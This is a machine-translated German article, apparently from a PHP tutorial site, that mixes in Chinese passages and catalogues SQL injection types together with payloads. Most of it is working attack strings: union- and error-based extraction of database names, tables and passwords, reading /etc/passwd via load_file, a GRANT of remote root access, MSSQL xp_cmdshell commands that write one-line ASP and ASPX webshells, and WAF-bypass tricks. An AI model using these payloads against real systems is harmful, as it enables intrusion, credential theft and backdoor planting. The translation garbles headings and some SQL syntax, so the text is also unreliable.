Heim > Artikel > Betrieb und Instandhaltung > Welche Arten der SQL-Injection gibt es?
Die Angriffsmethoden der SQL-Injection können je nach Anwendung, die den von der Datenbank zurückgegebenen Inhalt verarbeitet, in explizite Injektion, Fehlerinjektion und blinde Injektion unterteilt werden.
Der Angreifer kann den gewünschten Inhalt direkt im aktuellen Schnittstelleninhalt abrufen.
Die Ergebnisse der Datenbankabfrage werden nicht auf der Seite angezeigt, aber die Anwendung druckt die Datenbankfehlerinformationen auf die Seite, sodass der Angreifer eine Datenbankfehleranweisung erstellen und den gewünschten Inhalt aus den Fehlerinformationen erhalten kann . .
Die Ergebnisse der Datenbankabfrage können nicht von der intuitiven Seite abgerufen werden. Der Angreifer erhält den gewünschten Inhalt, indem er die Datenbanklogik verwendet oder die Ausführung der Datenbankbibliothek verzögert. Manuelle MySQL-Injektion reee
4.geometrycollection ( )?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+ group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name ?id=0' union select 1,2,3,group_concat(password) from users --+ group_concat 可替换为 concat_ws(',',id,users,password ) ?id=0' union select 1,2,3,password from users limit 0,1--+5.multipoint()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);6.polygon()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));7.multipolygon()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));9.multilinestring()
select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));10.exp()
select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));
Zeitblinde Injektion
Häufig verwendete Funktion sleep()Split-Funktion substr, substring, leftNach dem Codieren der Split-Funktion sind keine Anführungszeichen mehr erforderlich, ascii() hex()Wir müssen es noch tun Verwenden Sie es für die Blindinjektion in allgemeiner Zeit. Bedingte Beurteilungsfunktion if (expre1, expre2, expre3)Wenn expre1 wahr ist, geben Sie expre2 zurück, wenn falsch, geben Sie expre3 zurückselect \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));
Boolesche Blindinjektion
select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));Diese Injektion wird angezeigt In der Registrierung, im IP-Header, in Message Boards und an anderen Stellen, an denen Daten geschrieben werden müssen, wie z. B. die Verwendung von SQLMAP, wird eine Menge Mülldaten erzeugt. Testeinfügungen, Anführungszeichen, doppelte Anführungszeichen und Escape-Zeichen verhindern, dass die Aussage erfolgt Wird normal ausgeführt. Wenn das Einfügen fehlschlägt, schlägt die Aktualisierung fehl und geht dann tief in die Tiefe. Testen Sie, ob eine Injektion vorliegt Hexadezimale Kodierung, so dass es keine einfachen Anführungszeichen gibt
Wide-Byte-Injection:
Einfache Anführungszeichen werden als ' maskiert, MySQL kodiert es als %5c, was ein chinesisches Zeichen darstellt, daher wird %df hinzugefügt bis %5c wird zu einem chinesischen Schriftzeichen „Operation“ und umgeht dadurch die Escape-Funktion reee
Manuelle SQL-Injektion
Beurteilen Sie, ob der Injektionspunkt vorhanden ist.
Digitale Injektion Der Injektionspunkt existiertBeispiel:
http://www.xxx.cn/news.php?p=1&id=4' gibt einen Fehler zurück
http://www.xxx.cn/news.php?p= 1&id=4 und 1=1 geben korrekt zurück ' und 1=1 und '1'='1
http://www.xxx.cn/news.php?p=1&id=4' gibt einen Fehler zurück
http://www.xxx.cn/ news.php?p=1&id=4' und 1=1 und '1'='1 gibt korrekt zurückhttp://www.xxx.cn/news.php ?p=1&id=4' und 1=2 und '1'='1 gibt den FehlerSuchinjektion
Geben Sie ' in das Eingabefeld zurück gibt den Fehler
x%' und 1=1 und '% zurück '=' gibt korrekt
Judg-Feldnummer
Zahlentyphttp://www.xxx.cn/news.php?p=1&id= 4 Bestellung nach 26 Rückgabe korrekt
http:// www.xxx.cn/news.php?p=1&id=4 Bestellung nach 27 Rückgabe FehlerSchlussfolgerung: Feld Nummer 26.
Zeichentyphttp://www.xxx.cn/news.php?p=1&id=4' Reihenfolge nach 26 # Rückgabe korrekthttp://www.xxx.cn/news.php?p= 1&id=4' order by 27 # Rückgabefehler
Suchtyp
x%' Reihenfolge nach 26 # Richtig zurückgeben x%' Reihenfolge nach 27 # Fehler zurückgeben Fazit: Feld Nummer 26.Suche nach anzeigbaren Feldern
numerischer Typ
http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1,2,3,4,5,6,7, 8,9,....
Zeichentyp
http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,2,3,4,5, 6,7,8,9,.... #
Suchtyp
x%' und 1=2 Union wählen 1,2,3,4,5,6,7,8,9,.... #Überprüfen Sie den Datenbanknamen
numerischer Typhttp://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1,2,database(),4,5 , 6,7,8,9,....Zeichentyphttp://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,2,Datenbank ( ),4,5,6,7,8,9,.... #Suchtypx%' und 1=2 Union Select 1,2,database(),4,5,6,7 , 8,9,.... #Überprüfen Sie den Tabellennamen in der Datenbank
numerisch
http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1, group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 aus information_schema.tables, wobei table_schema='Datenbankname'
Der Datenbankname kann auch hexadezimal sein
Zeichentyp
http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,group_concat(table_name),3 ,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17 aus information_schema.tables, wobei table_schema='Datenbankname' #
Der Datenbankname kann auch hexadezimal gemacht werden
Suchtyp
Der Datenbankname kann auch hexadezimal sein
Der Spaltenname in der Nachschlagetabelle
numerisch
http://www.xxx.cn/news.php?p=1&id=4 und 1 =2 Union Select 1 ,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='table name '
The table Name kann auch hexadezimal verwendet werden
Zeichentyp
http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,group_concat(column_name) ,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17 aus information_schema.columns, wobei table_name='table name' #
Tabellenname kann auch als Hexadezimal-Suchtyp
verwendet werden x%' und 1=2 Union Select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name= 'Table name' #
The table Name kann auch hexadezimal verwendet werden
Suchen Sie die Daten in der Tabelle
Numerischer Typ
http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1,group_concat( Benutzername, Passwort),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 aus Tabellenname
Zeichentyp
http://www.xxx .cn/news.php?p=1&id=4' und 1=2 Union Select 1,group_concat(username,password),3,4,5,6,7,8,9 ,10,11,12,13, 14,15,16,17 aus Tabellenname#
Suchtyp
x%' und 1=2 Union Select 1,2,group_concat(username,password),4,5, 6,7,8,9,. ... aus Tabellenname#
Version anzeigen: Version auswählen();
Zeichensatz anzeigen: @@character_set_database auswählen;
Datenbanken anzeigen Datenbanken anzeigen;
Tabellennamen anzeigen: Tabellen anzeigen;
Computernamen anzeigen: select @@hostname;
Systemversion anzeigen: @@version_compile_os auswählen;
MySQL-Pfad anzeigen: @@basedir auswählen;
Datenbankpfad anzeigen: @@datadir auswählen;
Root-Passwort anzeigen: Benutzer, Passwort aus MySQL auswählen .user;
Externe Verbindung öffnen: GEWÄHREN SIE ALLE PRIVILEGIEN AUF . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
MySQL-Funktionsnutzung
MySQL bietet die Funktion „load_file()“, mit der Benutzer Dateien schnell lesen können. Der Dateispeicherort muss sich jedoch auf dem Server befinden, der Dateipfad muss ein absoluter Pfad sein und Root-Berechtigungen sind erforderlich
Die SQL-Anweisung lautet wie folgt: Union Select 1,load_file('/etc/passwd') ,3,4 ,5 #
Normalerweise erlauben einige Anti-Injection-Anweisungen das Auftreten von einfachen Anführungszeichen nicht, daher können Sie die folgende Anweisung zur Umgehung verwenden:
union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #
Ja Der Pfad wird in Hexadezimal umgewandelt.
Manuelle MSSQL-Injection
Im Gegensatz zur SQL-Injection nutzt SQL die angezeigten Felder aus, und MSSQL nutzt die Fehlerinjektion aus, um schädliche SQL-Anweisungen einzufügen, damit die Abfrage Fehler meldet. In den gemeldeten Fehlern werden die erforderlichen Informationen angezeigt.
Einspritzpunkt:
www.xxx.cn/xxx/xxx.aspx?id=1
Datenbankversion abfragen
@@version: globale MSSQL-Variable, die Informationen zur Datenbankversion angibt.
Testanweisung:
http://www.xxx.cn/xxx/xxx.aspx?id=1 und @@version>0
Hinweis: „und @@vsersion>0“ kann auch geschrieben werden als „ und 0" /@@version>0"
Fehlermeldung:
Der nvarchar-Wert ist „Microsoft SQL Server 2008 R2 (SP3) – 10.50.6000.34 (X64) 19. August 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-Bit) unter Windows NT 6.1 Grund: @@version ist eine globale Variable von MSSQL. Wenn wir nach „?id=1“ „and @@version>0“ hinzufügen, lautet die Anweisung nach „and“ „@@version“. Capture wurde gezwungen, in den Typ „int“ zu wechseln und mit 0 verglichen, aber die Typkonvertierung schlug fehl, sodass die Datenbankinformationen offengelegt wurden. Fragen Sie den Computernamen ab Fehlermeldung: Der Nvarchar-Wert „WINDOWS-XXXXXX“ konnte nicht in den Datentyp int konvertiert werden. Fragen Sie den aktuellen Datenbanknamen ab Fehlermeldung: Der Nvarchar-Wert „abc“ konnte nicht in den Datentyp int konvertiert werden. Fragen Sie den Benutzer ab, der derzeit mit der Datenbank verbunden ist. Fehlermeldung: Der Nvarchar-Wert „dbo“ konnte nicht in den Datentyp int konvertiert werden. Hinweis: Wenn Sie dbo sehen, verfügen die meisten aktuellen Datenbankbenutzer über DBA-Berechtigungen. Andere Datenbanknamen abfragen http://www.xxx.cn/xxx/xxx.aspx?id=1 und (SELECT top 1 Name FROM Master..SysDatabases)>0 Fehlermeldung: Fehler beim Konvertieren des Nvarchar-Werts „master“ in den Datentyp int. Die anderen Datenbanken sind wie folgt geschrieben: http://www.xxx.cn/xxx/xxx.aspx?id=1 und (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master ' ))>0 Wenn Sie fortfahren, schreiben Sie so: http://www.xxx.cn/xxx/xxx.aspx?id=1 und (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0 Überprüfen Sie den Tabellennamen: http://www.xxx.cn/xxx/xxx.aspx ?id= 1 und (wählen Sie den Top-1-Namen aus abc.sys.all_objects aus, wobei type='U' UND is_ms_shipped=0)>0 Fehlermeldung: Der Nvarchar-Wert „depart“ konnte nicht in den Datentyp int konvertiert werden. Erkunden Sie andere Tabellen: http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie den Top-1-Namen aus abc.sys.all_objects aus, wobei type='U' AND is_ms_shipped=0 und Name nicht in ('depart'))>0 Weiter: http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie den Top-1-Namen aus abc.sys aus. all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0 Überprüfen Sie den Feldnamen: http : //www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0 Fehlermeldung: In nvarchar Conversion of Wert 'ID' zum Datentyp int fehlgeschlagen. Erkunden Sie andere Felder: http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie Top 1 COLUMN_NAME aus abc.information_schema.columns aus, wobei TABLE_NAME='depart' und COLUMN_NAME nicht in('ID'))>0 Weiter: http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie den obersten 1 COLUMN_NAME aus abc.information_schema.columns aus, wobei TABLE_NAME= 'depart' und COLUMN_NAME nicht in ('ID','NAME'))>0 Abfragedaten: http://www.xxx.cn/xxx/xxx.aspx? 1 und (wählen Sie das Top-1-Passwort von Depart aus)>0 Fehlermeldung: Der Nvarchar-Wert „B5A1EF8730200F93E50F4F5DEBBCAC0B“ konnte nicht in den Datentyp int konvertiert werden. Wenn die Datenberechtigung dba ist und den absoluten Pfad der Website kennen, können wir diese Anweisung verwenden, um einen Satz-Trojaner zu schreiben: asp-Trojaner: http://www .xxx .cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>'' " > ; d:KfSitekaifeng2.asp'-- aspx Trojaner: http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE= Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:inetpubwwwroot2.aspx' -- Das Prinzip ist, dass SQL Server gestapelte Abfragen unterstützt xp_cmdshell kann den Befehl cmd ausführen. Verwenden Sie [echo content>file] im Befehl cmd, um Dateien auf die Festplatte zu schreiben. http://www.xxx.com/xxx/xxx.aspx?username=xxx Verwenden Sie „HEX-Kodierung“ unter „Kodierung“ des Hackbar-Tools in Firefox, um die Zeichenfolge einfach in Sie zu kodieren hex, und verwenden Sie dann die Fehlerinjektion, um sie in diese Website einzuschleusen. Wählen Sie „convert(int,@@version)“ aus Folgende Methode zum Injizieren: http://www.xxx.com/xxx/xxx .aspx? username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)– Fehlermeldung: Im Nvar-Char-Wert „Microsoft SQL Server 2008 R2 (RTM) – 10,50. 1600.1 (X64) 2. April 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-Bit) unter Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)' Konvertierung in den Datentyp int fehlgeschlagen. Achten Sie auf die folgende Injektionsanweisung: dEcLaRe @s vArChAr(8000) //Deklarieren Sie eine lokale Variable @s, Typ ist varchar(8000) sEt. @s=0x73656c65637420636f6e7665727428696e742c404 07665727 3696f6e29 //Weisen Sie @s einen Wert zu , „select konvertieren (int,@@version)“ Hexadezimalkodierung eXeC(@s) //Rufen Sie die Funktion exec() auf, um den Inhalt in „@s“ auszuführen. Explodieren Sie die aktuelle Datenbank. Explosionsfeld select konvertieren(int,(wählen Sie den obersten 1 Spaltennamen aus abc[Datenbankname].information_schema.columns aus, wobei TABLE_NAME='CMS_Userinfo[Tabellenname]')) wählen Sie konvertieren(int,(wählen Sie den obersten 1 Spaltennamen aus abc[Datenbankname] aus. information_schema.columns, wobei TABLE_NAME='CMS_Userinfo[Tabellenname]' und COLUMN_NAME nicht in ('id'))) select convert(int,(select top 1 username from CMS_Admin)) select convert(int, (Wählen Sie das Top-1-Passwort aus CMS_Admin aus.) (www.test.com/xsn.php?id=12+1) /select/ /from/ /where//username//like//admin; Beachten Sie, dass In MySQL, dies kann auch umgangen werden, indem Inline-Kommentare innerhalb von Schlüsselwörtern verwendet werden: uni//on//sel//ect//password//fr//om//users//wh//ere// username//like //admin; Umgehung auf Regelebene Leerraumumgehung: MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/ 正则的空白符:%09,%0A,%0B,%0D,%20 Example-1:union%250Cselect Example-1:union%25A0select concat%2520( concat/**/( concat%250c( concat%25a0( select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0 select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0 Error-based SQL注入函数非常容易被忽略 MySQL特殊语法 select{x table_name}from{x information_schema.tables}; 以注释绕过为例子,开始Fuzz 注释符绕过: *先测试最基本的: union/**/select *再测试中间引入特殊字:union/aaaa%01bbs/select *最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select 最基本的模式: union/something/select 大小写绕过 即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。 例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。 如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。 例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。 可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。 http://tool.chinaz.com/Tools/urlencode.aspx 1 在Mysql中内容注释中的内容可以被当做SQL语句执行。 Mysql一些特性: 1、Mysql中的大小写不敏感,大写和小写一样。 2、Mysql中的十六进制与URL编码。 3、符号和关键字替换 and --> &&、or --> || 4、内联注释与多行注释 /!内联注释/ /多行注释/。 5、Mysql中会自动识别URL与Hex编码好的内容。 绕过策略: 1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。 2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr 3、利用符号替代 and–>&&、or–>|| 编码:hex,urlencode 空格URL编码: %0a 新建一行 %0c 新的一页 %0d return功能 %0b TAB键(垂直) Sqlmap安全检测: sqlmap -u “URL” --hex --dbs --batch 编码%0a、加入/**/符,union/select大小写、双写等绕过。 Das obige ist der detaillierte Inhalt vonWelche Arten der SQL-Injection gibt es?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!
@@Servername: Globale MSSQL-Variable, die den Computernamen darstellt.
db_name(): Der aktuell verwendete Datenbankname.
User_Name(): Der Benutzer, der derzeit mit der Datenbank verbunden ist.
Andere Datenbanken auflösen:
Fragen Sie den Tabellennamen in der Datenbank ab
Fragen Sie den Spaltennamen oder Feldnamen in der Tabelle ab
Explosive Daten
Schreiben Sie einen Satz-Trojaner
Verwenden Sie die Hex-Kodierung, um WAF zu umgehen
Explodieren Sie die Datenbankversion.
select konvertieren (int,db_name())Explodieren Sie den aktuellen Benutzer 1 Name aus abc[Datenbankname].sys.all_objects, wobei Typ='U' UND is_ms_shipped=0)) select Convert(int,(wählen Sie den ersten 1 Namen aus abc[Datenbankname].sys.all_objects aus, wobei Typ='U' AND is_ms_shipped=0 und Name nicht in ('CMS_ArticleClass')))
Explosive Daten
Nein, denn das Pluszeichen bedeutet ein Leerzeichen in der URL.
SQL-Kommentarzeichen-Umgehung
union/**/selectunion/aaaa%01bbs/select
函数分隔符号:
浮点数词法分析:
利用error_based进行SQL注入:extractvalue(1,concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3)),1);
GeometryCollection((select * from (select * from
(select@@version)f)x))
polygon((select*from (select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
每一个点都能找到绕过的方法
常规绕过手段
双写绕过
编码绕过
内联注释绕过
绕过过滤and和or的SQL注入
绕过去除空格的SQL注入
绕过去除(union和select)的SQL注入